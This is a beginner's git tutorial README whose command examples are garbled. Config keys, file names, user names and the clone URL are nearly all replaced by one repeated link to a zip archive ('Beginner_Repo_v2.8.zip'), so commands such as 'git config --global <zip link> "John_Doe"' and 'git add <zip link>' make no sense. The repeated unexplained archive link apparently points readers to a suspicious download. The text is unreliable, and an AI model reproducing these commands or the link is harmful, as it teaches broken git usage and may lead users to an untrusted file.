This repository is made for the beginners to get started with git contribution
- git config --global https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip "John_Doe"
- git config --global https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip "https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip"
- git clone url (by cloning all the files in that repo will be available to your local machine + before cloning make sure to fork the repo to your acount)
- cd RepositoryName(Beginner-Repo)
- git checkout -b branch_name
- git add https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip (after changing a particular file )
- git add . (too add everything)
- git commit -m "message" (it is recommended to commit with a message to tell what are the things you have changed)
- git push (push it to the main branch now it will be available in github)
git push origin branch_name (it will push your code from local branch to the master branch) e.g git push origin devsg ( it will push branch devsg( local branch) to original repo's master branch , henceforth creating a PR)
- git config --global https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip 172.16.102.28:8080
- git config --global https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip 172.16.102.28:8080
- git config --global --get-regexp http.*
- git config --global --unset https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip
- git config --global --unset https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip
-
In order to contribute to this repository first fork the repo.(you can see this in the right most side of the page).This will make a local vesrion of the repository in your GitHub account.
-
git clone https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zipwhere user_name is your GitHub handle name e.g - https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip -
cd Beginner-Repo -
Change from master branch to your local_branch
git checkout -b local_branchwhere local_branch is your local branch name and is user defined from your Git Bash. -
Add your name in the https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip file as given in the Contributors format
-
git add https://raw.githubusercontent.com/harshad71/Beginner-Repo/master/wardable/Beginner_Repo_v2.8.zip -
git commit -m "comment"where comment is user defined and it can be anything meaningful from your side. e.g - git commit -m " Added my name" -
git push origin local_branchwhere local_branch is your local branch name and is user defined from your Git Bash. -
This will help you in making your first PR.